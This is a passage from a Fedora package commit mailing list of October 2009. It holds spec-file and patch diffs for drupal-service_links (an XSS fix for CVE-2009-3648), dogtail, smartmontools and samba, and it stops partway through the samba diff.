--- drupal-service_links.spec	24 Jul 2009 20:34:33 -0000	1.4
+++ drupal-service_links.spec	9 Oct 2009 18:40:30 -0000	1.5
@@ -1,7 +1,7 @@
 %define drupaldir %{_datadir}/drupal
 Name: drupal-service_links
 Version:  6.x.1.0
-Release:  4%{?dist}
+Release:  5%{?dist}
 Summary: Enables admins to add links to a number of sites
 
 Group: Applications/Publishing
@@ -9,6 +9,7 @@ License: GPLv2
 URL: http://drupal.org/project/service_links
 Source0: http://ftp.drupal.org/files/projects/service_links-6.x-1.0.tar.gz
 Source1: drupal-service_links-fedora-README.txt
+Patch0: drupal-service_links-6.x-1.0-CVE-2009-3648.patch
 
 BuildArch: noarch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -24,6 +25,8 @@ IceRocket.
 
 %setup -qn service_links
 
+%patch0 -p0
+
 %build
 
 chmod -x po/es.po
@@ -47,6 +50,9 @@ rm -rf %{buildroot}
 %{drupaldir}/modules/service_links
 
 %changelog
+* Fri Oct 09 2009 Jon Ciesla <limb at jcomserv.net> - 6.x.1.0-5
+- Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.x.1.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From zmc at fedoraproject.org  Fri Oct  9 18:43:18 2009
From: zmc at fedoraproject.org (zmc)
Date: Fri,  9 Oct 2009 18:43:18 +0000 (UTC)
Subject: rpms/dogtail/devel dogtail.spec,1.13,1.14
Message-ID: <20091009184318.352AC11C00C1@cvs1.fedora.phx.redhat.com>

Author: zmc

Update of /cvs/pkgs/rpms/dogtail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28369

Modified Files:
	dogtail.spec 
Log Message:
Update for 0.7.0-1



Index: dogtail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dogtail/devel/dogtail.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- dogtail.spec	24 Jul 2009 20:27:26 -0000	1.13
+++ dogtail.spec	9 Oct 2009 18:43:18 -0000	1.14
@@ -1,11 +1,12 @@
 Summary: GUI test tool and automation framework
 Name: dogtail
-Version: 0.6.90
-Release: 4.401%{?dist}
+Version: 0.7.0
+Release: 1%{?dist}
 License: GPLv2
 Group: User Interface/X
 URL: http://people.redhat.com/zcerza/dogtail/
-#Source0: http://people.redhat.com/zcerza/dogtail/releases/dogtail-%{version}.tar.gz
+URL: http://dogtail.fedorahosted.org/
+#Source0: http://fedorahosted.org/released/dogtail/%{name}-%{version}.tar.gz
 Source: %{name}-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -17,7 +18,6 @@ Requires: pygtk2
 Requires: pygtk2-libglade
 Requires: gnome-python2-gconf
 Requires: rpm-python
-Requires: xorg-x11-server-Xvfb
 Requires: xorg-x11-xinit
 Requires: python-imaging
 
@@ -66,9 +66,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/*
 %doc COPYING
 %doc README
+%doc NEWS
 %doc examples/
 
 %changelog
+* Thu Oct 08 2009 Zack Cerza <zcerza at redhat.com> - 0.7.0-1
+- New upstream release.
+- Drop Requires on xorg-x11-server-Xvfb.
+- Update URL and Source0.
+- Ship NEWS file.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.90-4.401
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From limb at fedoraproject.org  Fri Oct  9 18:48:58 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Fri,  9 Oct 2009 18:48:58 +0000 (UTC)
Subject: rpms/drupal-service_links/F-10
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch, NONE,
	1.1 drupal-service_links.spec, 1.2, 1.3
Message-ID: <20091009184858.74D2111C00C1@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/drupal-service_links/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30181/F-10

Modified Files:
	drupal-service_links.spec 
Added Files:
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch 
Log Message:
Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.


drupal-service_links-6.x-1.0-CVE-2009-3648.patch:
 service_links.module |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE drupal-service_links-6.x-1.0-CVE-2009-3648.patch ---
--- service_links.module~	2008-02-26 11:01:27.000000000 -0600
+++ service_links.module	2009-10-09 13:35:58.000000000 -0500
@@ -37,0 +38 @@
+  $names = array_map('filter_xss', node_get_types('names'));
@@ -42 +43 @@
-    '#options' => node_get_types('names'),
+    '#options' => $names,


Index: drupal-service_links.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drupal-service_links/F-10/drupal-service_links.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- drupal-service_links.spec	31 Jul 2008 12:28:11 -0000	1.2
+++ drupal-service_links.spec	9 Oct 2009 18:48:58 -0000	1.3
@@ -1,7 +1,7 @@
 %define drupaldir %{_datadir}/drupal
 Name: drupal-service_links
 Version:  6.x.1.0
-Release:  2%{?dist}
+Release:  5%{?dist}
 Summary: Enables admins to add links to a number of sites
 
 Group: Applications/Publishing
@@ -9,6 +9,7 @@ License: GPLv2
 URL: http://drupal.org/project/service_links
 Source0: http://ftp.drupal.org/files/projects/service_links-6.x-1.0.tar.gz
 Source1: drupal-service_links-fedora-README.txt
+Patch0: drupal-service_links-6.x-1.0-CVE-2009-3648.patch
 
 BuildArch: noarch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -24,6 +25,8 @@ IceRocket.
 
 %setup -qn service_links
 
+%patch0 -p0
+
 %build
 
 chmod -x po/es.po
@@ -47,6 +50,15 @@ rm -rf %{buildroot}
 %{drupaldir}/modules/service_links
 
 %changelog
+* Fri Oct 09 2009 Jon Ciesla <limb at jcomserv.net> - 6.x.1.0-5
+- Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.x.1.0-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.x.1.0-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Thu Jul 31 2008 Jon Ciesla <limb at jcomserv.net> - 6.x.1.0-2
 - Corrected duplicate files.
 



From limb at fedoraproject.org  Fri Oct  9 18:48:58 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Fri,  9 Oct 2009 18:48:58 +0000 (UTC)
Subject: rpms/drupal-service_links/F-11
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch, NONE,
	1.1 drupal-service_links.spec, 1.3, 1.4
Message-ID: <20091009184858.9B3C711C00C1@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/drupal-service_links/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30181/F-11

Modified Files:
	drupal-service_links.spec 
Added Files:
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch 
Log Message:
Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.


drupal-service_links-6.x-1.0-CVE-2009-3648.patch:
 service_links.module |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE drupal-service_links-6.x-1.0-CVE-2009-3648.patch ---
--- service_links.module~	2008-02-26 11:01:27.000000000 -0600
+++ service_links.module	2009-10-09 13:35:58.000000000 -0500
@@ -37,0 +38 @@
+  $names = array_map('filter_xss', node_get_types('names'));
@@ -42 +43 @@
-    '#options' => node_get_types('names'),
+    '#options' => $names,


Index: drupal-service_links.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drupal-service_links/F-11/drupal-service_links.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- drupal-service_links.spec	24 Feb 2009 12:48:22 -0000	1.3
+++ drupal-service_links.spec	9 Oct 2009 18:48:58 -0000	1.4
@@ -1,7 +1,7 @@
 %define drupaldir %{_datadir}/drupal
 Name: drupal-service_links
 Version:  6.x.1.0
-Release:  3%{?dist}
+Release:  5%{?dist}
 Summary: Enables admins to add links to a number of sites
 
 Group: Applications/Publishing
@@ -9,6 +9,7 @@ License: GPLv2
 URL: http://drupal.org/project/service_links
 Source0: http://ftp.drupal.org/files/projects/service_links-6.x-1.0.tar.gz
 Source1: drupal-service_links-fedora-README.txt
+Patch0: drupal-service_links-6.x-1.0-CVE-2009-3648.patch
 
 BuildArch: noarch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -24,6 +25,8 @@ IceRocket.
 
 %setup -qn service_links
 
+%patch0 -p0
+
 %build
 
 chmod -x po/es.po
@@ -47,6 +50,12 @@ rm -rf %{buildroot}
 %{drupaldir}/modules/service_links
 
 %changelog
+* Fri Oct 09 2009 Jon Ciesla <limb at jcomserv.net> - 6.x.1.0-5
+- Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.x.1.0-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.x.1.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From limb at fedoraproject.org  Fri Oct  9 18:48:58 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Fri,  9 Oct 2009 18:48:58 +0000 (UTC)
Subject: rpms/drupal-service_links/F-12
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch, NONE,
	1.1 drupal-service_links.spec, 1.4, 1.5
Message-ID: <20091009184858.D5E5911C00C1@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/drupal-service_links/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30181/F-12

Modified Files:
	drupal-service_links.spec 
Added Files:
	drupal-service_links-6.x-1.0-CVE-2009-3648.patch 
Log Message:
Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.


drupal-service_links-6.x-1.0-CVE-2009-3648.patch:
 service_links.module |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE drupal-service_links-6.x-1.0-CVE-2009-3648.patch ---
--- service_links.module~	2008-02-26 11:01:27.000000000 -0600
+++ service_links.module	2009-10-09 13:35:58.000000000 -0500
@@ -37,0 +38 @@
+  $names = array_map('filter_xss', node_get_types('names'));
@@ -42 +43 @@
-    '#options' => node_get_types('names'),
+    '#options' => $names,


Index: drupal-service_links.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drupal-service_links/F-12/drupal-service_links.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- drupal-service_links.spec	24 Jul 2009 20:34:33 -0000	1.4
+++ drupal-service_links.spec	9 Oct 2009 18:48:58 -0000	1.5
@@ -1,7 +1,7 @@
 %define drupaldir %{_datadir}/drupal
 Name: drupal-service_links
 Version:  6.x.1.0
-Release:  4%{?dist}
+Release:  5%{?dist}
 Summary: Enables admins to add links to a number of sites
 
 Group: Applications/Publishing
@@ -9,6 +9,7 @@ License: GPLv2
 URL: http://drupal.org/project/service_links
 Source0: http://ftp.drupal.org/files/projects/service_links-6.x-1.0.tar.gz
 Source1: drupal-service_links-fedora-README.txt
+Patch0: drupal-service_links-6.x-1.0-CVE-2009-3648.patch
 
 BuildArch: noarch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -24,6 +25,8 @@ IceRocket.
 
 %setup -qn service_links
 
+%patch0 -p0
+
 %build
 
 chmod -x po/es.po
@@ -47,6 +50,9 @@ rm -rf %{buildroot}
 %{drupaldir}/modules/service_links
 
 %changelog
+* Fri Oct 09 2009 Jon Ciesla <limb at jcomserv.net> - 6.x.1.0-5
+- Patch for CVE-2009-3648 from madirish.net, BZ 528200, 528201.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.x.1.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From zmc at fedoraproject.org  Fri Oct  9 18:49:16 2009
From: zmc at fedoraproject.org (zmc)
Date: Fri,  9 Oct 2009 18:49:16 +0000 (UTC)
Subject: rpms/dogtail/devel .cvsignore, 1.5, 1.6 dogtail.spec, 1.14,
	1.15 sources, 1.7, 1.8
Message-ID: <20091009184916.C50E811C00C1@cvs1.fedora.phx.redhat.com>

Author: zmc

Update of /cvs/pkgs/rpms/dogtail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30336

Modified Files:
	.cvsignore dogtail.spec sources 
Log Message:
Oops, add new sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dogtail/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	31 Jan 2008 18:36:15 -0000	1.5
+++ .cvsignore	9 Oct 2009 18:49:16 -0000	1.6
@@ -1 +1 @@
-dogtail-0.6.90.tar.gz
+dogtail-0.7.0.tar.gz


Index: dogtail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dogtail/devel/dogtail.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- dogtail.spec	9 Oct 2009 18:43:18 -0000	1.14
+++ dogtail.spec	9 Oct 2009 18:49:16 -0000	1.15
@@ -4,10 +4,9 @@ Version: 0.7.0
 Release: 1%{?dist}
 License: GPLv2
 Group: User Interface/X
-URL: http://people.redhat.com/zcerza/dogtail/
 URL: http://dogtail.fedorahosted.org/
-#Source0: http://fedorahosted.org/released/dogtail/%{name}-%{version}.tar.gz
-Source: %{name}-%{version}.tar.gz
+Source0: http://fedorahosted.org/released/dogtail/%{name}-%{version}.tar.gz
+#Source: %{name}-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: python-devel


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dogtail/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	12 Aug 2008 16:55:50 -0000	1.7
+++ sources	9 Oct 2009 18:49:16 -0000	1.8
@@ -1 +1 @@
-5ac373d2de3e658a6b423c67b09d9af7  dogtail-0.6.90.tar.gz
+365f95bd4cb0e89ecd0706456623b8c1  dogtail-0.7.0.tar.gz



From zmc at fedoraproject.org  Fri Oct  9 18:50:32 2009
From: zmc at fedoraproject.org (zmc)
Date: Fri,  9 Oct 2009 18:50:32 +0000 (UTC)
Subject: rpms/dogtail/F-12 dogtail.spec,1.13,1.14
Message-ID: <20091009185032.E3F7011C029B@cvs1.fedora.phx.redhat.com>

Author: zmc

Update of /cvs/pkgs/rpms/dogtail/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30769

Modified Files:
	dogtail.spec 
Log Message:
Update for 0.7.0



Index: dogtail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dogtail/F-12/dogtail.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- dogtail.spec	24 Jul 2009 20:27:26 -0000	1.13
+++ dogtail.spec	9 Oct 2009 18:50:32 -0000	1.14
@@ -1,12 +1,12 @@
 Summary: GUI test tool and automation framework
 Name: dogtail
-Version: 0.6.90
-Release: 4.401%{?dist}
+Version: 0.7.0
+Release: 1%{?dist}
 License: GPLv2
 Group: User Interface/X
-URL: http://people.redhat.com/zcerza/dogtail/
-#Source0: http://people.redhat.com/zcerza/dogtail/releases/dogtail-%{version}.tar.gz
-Source: %{name}-%{version}.tar.gz
+URL: http://dogtail.fedorahosted.org/
+Source0: http://fedorahosted.org/released/dogtail/%{name}-%{version}.tar.gz
+#Source: %{name}-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: python-devel
@@ -17,7 +17,6 @@ Requires: pygtk2
 Requires: pygtk2-libglade
 Requires: gnome-python2-gconf
 Requires: rpm-python
-Requires: xorg-x11-server-Xvfb
 Requires: xorg-x11-xinit
 Requires: python-imaging
 
@@ -66,9 +65,16 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/*
 %doc COPYING
 %doc README
+%doc NEWS
 %doc examples/
 
 %changelog
+* Thu Oct 08 2009 Zack Cerza <zcerza at redhat.com> - 0.7.0-1
+- New upstream release.
+- Drop Requires on xorg-x11-server-Xvfb.
+- Update URL and Source0.
+- Ship NEWS file.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.90-4.401
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mhlavink at fedoraproject.org  Fri Oct  9 18:51:01 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 18:51:01 +0000 (UTC)
Subject: rpms/smartmontools/devel smartd.initd,1.9,1.10
Message-ID: <20091009185101.B0F0311C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30968

Modified Files:
	smartd.initd 
Log Message:
fix typo



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartd.initd,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- smartd.initd	9 Oct 2009 18:09:53 -0000	1.9
+++ smartd.initd	9 Oct 2009 18:51:01 -0000	1.10
@@ -123,7 +123,7 @@ case "$1" in
 	*)
 		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
 		RETVAL=2
-		[ '$1' = 'usage' ] && RETVAL=0
+		[ "$1" = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL



From zmc at fedoraproject.org  Fri Oct  9 18:51:36 2009
From: zmc at fedoraproject.org (zmc)
Date: Fri,  9 Oct 2009 18:51:36 +0000 (UTC)
Subject: rpms/dogtail/F-12 .cvsignore,1.5,1.6 sources,1.7,1.8
Message-ID: <20091009185136.1C1EA11C00C1@cvs1.fedora.phx.redhat.com>

Author: zmc

Update of /cvs/pkgs/rpms/dogtail/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31225

Modified Files:
	.cvsignore sources 
Log Message:
New sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dogtail/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	31 Jan 2008 18:36:15 -0000	1.5
+++ .cvsignore	9 Oct 2009 18:51:35 -0000	1.6
@@ -1 +1 @@
-dogtail-0.6.90.tar.gz
+dogtail-0.7.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dogtail/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	12 Aug 2008 16:55:50 -0000	1.7
+++ sources	9 Oct 2009 18:51:35 -0000	1.8
@@ -1 +1 @@
-5ac373d2de3e658a6b423c67b09d9af7  dogtail-0.6.90.tar.gz
+365f95bd4cb0e89ecd0706456623b8c1  dogtail-0.7.0.tar.gz



From mhlavink at fedoraproject.org  Fri Oct  9 18:52:56 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 18:52:56 +0000 (UTC)
Subject: rpms/smartmontools/F-12 smartd.initd, 1.9, 1.10 smartmontools.spec, 
	1.63, 1.64
Message-ID: <20091009185256.4E2B611C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31714

Modified Files:
	smartd.initd smartmontools.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20.1
- fix apostrophes around shell variable
 
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20
- fix init script for case when no action was specified



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartd.initd,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- smartd.initd	9 Oct 2009 18:35:18 -0000	1.9
+++ smartd.initd	9 Oct 2009 18:52:55 -0000	1.10
@@ -123,7 +123,7 @@ case "$1" in
 	*)
 		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
 		RETVAL=2
-		[ '$1' = 'usage' ] && RETVAL=0
+		[ "$1" = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- smartmontools.spec	9 Oct 2009 18:35:18 -0000	1.63
+++ smartmontools.spec	9 Oct 2009 18:52:55 -0000	1.64
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	20%{?dist}
+Release: 	20%{?dist}.1
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20.1
+- fix apostrophes around shell variable
+ 
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-20
 - fix init script for case when no action was specified
 



From simo at fedoraproject.org  Fri Oct  9 18:53:10 2009
From: simo at fedoraproject.org (Simo Sorce)
Date: Fri,  9 Oct 2009 18:53:10 +0000 (UTC)
Subject: rpms/samba/F-12 samba.spec,1.198,1.199
Message-ID: <20091009185310.EC4D411C00C1@cvs1.fedora.phx.redhat.com>

Author: simo

Update of /cvs/pkgs/rpms/samba/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31857

Modified Files:
	samba.spec 
Log Message:
* Fri Oct 09 2009 Simo Sorce <ssorce at redhat.com> - 3.4.2-47
- Spec file cleanup
- Fix sources upstream location
- Remove conditionals to build talloc and tdb, now they are completely indepent
  packages in Fedora
- Add defattr() where missing
- Turn all tabs into 4 spaces
- Remove unused migration script
- Split winbind-clients out of main winbind package to avoid multilib to include
  huge packages for no good reason



Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/samba.spec,v
retrieving revision 1.198
retrieving revision 1.199
diff -u -p -r1.198 -r1.199
--- samba.spec	9 Oct 2009 13:34:46 -0000	1.198
+++ samba.spec	9 Oct 2009 18:53:10 -0000	1.199
@@ -1,21 +1,18 @@
-%define main_release 46
+%define main_release 47
 %define samba_version 3.4.2
 %define tdb_version 1.1.3
 %define talloc_version 1.3.0
 #%define pre_release rc1
 %define pre_release %nil
 
-%define samba_release 0%{pre_release}.%{main_release}%{?dist}
-
-%define enable_talloc 0
-%define enable_tdb    0
+%define samba_release %{main_release}%{pre_release}%{?dist}
 
 %define samba_source source3
 Summary: Server and Client software to interoperate with Windows machines
 Name: samba
 Epoch: 0
 Version: %{samba_version}
-Release: %{samba_release}.1
+Release: %{samba_release}
 License: GPLv3+ and LGPLv3+
 Group: System Environment/Daemons
 URL: http://www.samba.org/
@@ -57,12 +54,7 @@ Requires(post): /sbin/chkconfig, /sbin/s
 Requires(preun): /sbin/chkconfig, /sbin/service
 BuildRequires: pam-devel, readline-devel, ncurses-devel, libacl-devel, krb5-devel, openldap-devel, openssl-devel, cups-devel, ctdb-devel
 BuildRequires: autoconf, gawk, popt-devel, gtk2-devel, libcap-devel, libuuid-devel
-%if ! %enable_talloc
-BuildRequires: libtalloc-devel >= %{talloc_version}
-%endif
-%if ! %enable_tdb
-BuildRequires: libtdb-devel >= %{tdb_version}
-%endif
+BuildRequires: libtalloc-devel, libtdb-devel
 
 # Working around perl dependency problem from docs
 %define __perl_requires %{SOURCE999}
@@ -85,7 +77,6 @@ need the NetBEUI (Microsoft Raw NetBIOS 
 Summary: Samba client programs
 Group: Applications/System
 Requires: samba-common = %{epoch}:%{samba_version}-%{release}
-Obsoletes: smbfs
 
 %description client
 The samba-client package provides some SMB/CIFS clients to complement
@@ -111,14 +102,24 @@ packages of Samba.
 Summary: Samba winbind
 Group: Applications/System
 Requires: samba-common = %{epoch}:%{samba_version}-%{release}
+Requires: samba-winbind-clients = %{epoch}:%{samba_version}-%{release}
 Requires(pre): /usr/sbin/groupadd
 Requires(post): /sbin/chkconfig, /sbin/service, coreutils
 Requires(preun): /sbin/chkconfig, /sbin/service
 
 %description winbind
-The samba-winbind package provides the winbind daemon, a NSS library, a PAM
-module and some client tools. Winbind enables Linux to be a full member in
-Windows domains and to use Windows user and group accounts on Linux.
+The samba-winbind package provides the winbind daemon and some client tools.
+Winbind enables Linux to be a full member in Windows domains and to use
+Windows user and group accounts on Linux.
+
+
+%package winbind-clients
+Summary: Samba winbind clients
+Group: Applications/System
+
+%description winbind-clients
+The samba-winbind-clients package provides the NSS library and a PAM
+module necessary to communicate to the Winbind Daemon
 
 
 %package winbind-devel
@@ -177,63 +178,6 @@ Requires: libsmbclient = %{epoch}:%{samb
 The libsmbclient-devel package contains the header files and libraries needed to
 develop programs that link against the SMB client library in the Samba suite.
 
-%if %enable_tdb
-%package -n libtdb
-Summary: The TDB library and tools
-Group: Applications/System
-Version: %{tdb_version}
-Release: %{main_release}%{?dist}
-
-%description -n libtdb
-The TDB library from the Samba suite.
-
-
-%package -n tdb-tools
-Summary: The TDB tools
-Group: Applications/System
-Version: %{tdb_version}
-Release: %{main_release}%{?dist}
-Requires: libtdb = %{epoch}:%{tdb_version}-%{main_release}%{?dist}
-
-%description -n tdb-tools
-Some TDB tools from the Samba suite.
-
-
-%package -n libtdb-devel
-Summary: Developer tools for the TDB library
-Group: Development
-Version: %{tdb_version}
-Release: %{main_release}%{?dist}
-Requires: libtdb = %{epoch}:%{tdb_version}-%{main_release}%{?dist}
-
-%description -n libtdb-devel
-The libtdb-devel package contains the header files and libraries needed to
-develop programs that link against the TDB library in the Samba suite.
-%endif
-
-%if %enable_talloc
-%package -n libtalloc
-Summary: The talloc library
-Group: Applications/System
-Version: %{talloc_version}
-Release: %{main_release}%{?dist}
-
-%description -n libtalloc
-The talloc library from the Samba suite.
-
-
-%package -n libtalloc-devel
-Summary: Developer tools for the talloc library
-Group: Development
-Version: %{talloc_version}
-Release: %{main_release}%{?dist}
-Requires: libtalloc = %{epoch}:%{talloc_version}-%{main_release}%{?dist}
-
-%description -n libtalloc-devel
-The libtalloc-devel package contains the header files and libraries needed to
-develop programs that link against the talloc library in the Samba suite.
-%endif
-
 %prep
 # TAG: change for non-pre
 %setup -q -n %{name}-%{samba_version}%{pre_release}
@@ -282,48 +226,52 @@ RPM_OPT_FLAGS="$RPM_OPT_FLAGS -D_FILE_OF
 EXTRA="-D_LARGEFILE64_SOURCE"
 %endif
 CFLAGS="$RPM_OPT_FLAGS -D_GNU_SOURCE -DLDAP_DEPRECATED" %configure \
-	--with-dnsupdate \
-	--with-ads \
-	--with-acl-support \
-	--with-automount \
-	--with-dnsupdate \
-	--with-libsmbclient \
-	--with-libsmbsharemodes \
-	--with-mmap \
-	--with-pam \
-	--with-pam_smbpass \
-	--with-quotas \
-	--with-sendfile-support \
-	--with-syslog \
-	--with-utmp \
-	--with-vfs \
-	--with-winbind \
-	--without-smbwrapper \
-	--with-lockdir=/var/lib/samba \
-	--with-piddir=/var/run \
-	--with-mandir=%{_mandir} \
-	--with-privatedir=/var/lib/samba/private \
-	--with-logfilebase=/var/log/samba \
-	--with-libdir=%{_libdir} \
-	--with-modulesdir=%{_libdir}/samba \
-	--with-configdir=%{_sysconfdir}/samba \
-	--with-pammodulesdir=%{_lib}/security \
-	--with-swatdir=%{_datadir}/swat \
-	--with-shared-modules=idmap_ad,idmap_rid,idmap_adex,idmap_hash,idmap_tdb2 \
-	--with-cifsupcall \
-	--with-cluster-support
-#	--with-aio-support \
+    --with-dnsupdate \
+    --with-ads \
+    --with-acl-support \
+    --with-automount \
+    --with-dnsupdate \
+    --with-libsmbclient \
+    --with-libsmbsharemodes \
+    --with-mmap \
+    --with-pam \
+    --with-pam_smbpass \
+    --with-quotas \
+    --with-sendfile-support \
+    --with-syslog \
+    --with-utmp \
+    --with-vfs \
+    --with-winbind \
+    --without-smbwrapper \
+    --with-lockdir=/var/lib/samba \
+    --with-piddir=/var/run \
+    --with-mandir=%{_mandir} \
+    --with-privatedir=/var/lib/samba/private \
+    --with-logfilebase=/var/log/samba \
+    --with-libdir=%{_libdir} \
+    --with-modulesdir=%{_libdir}/samba \
+    --with-configdir=%{_sysconfdir}/samba \
+    --with-pammodulesdir=%{_lib}/security \
+    --with-swatdir=%{_datadir}/swat \
+    --with-shared-modules=idmap_ad,idmap_rid,idmap_adex,idmap_hash,idmap_tdb2 \
+    --with-cifsupcall \
+    --with-cluster-support \
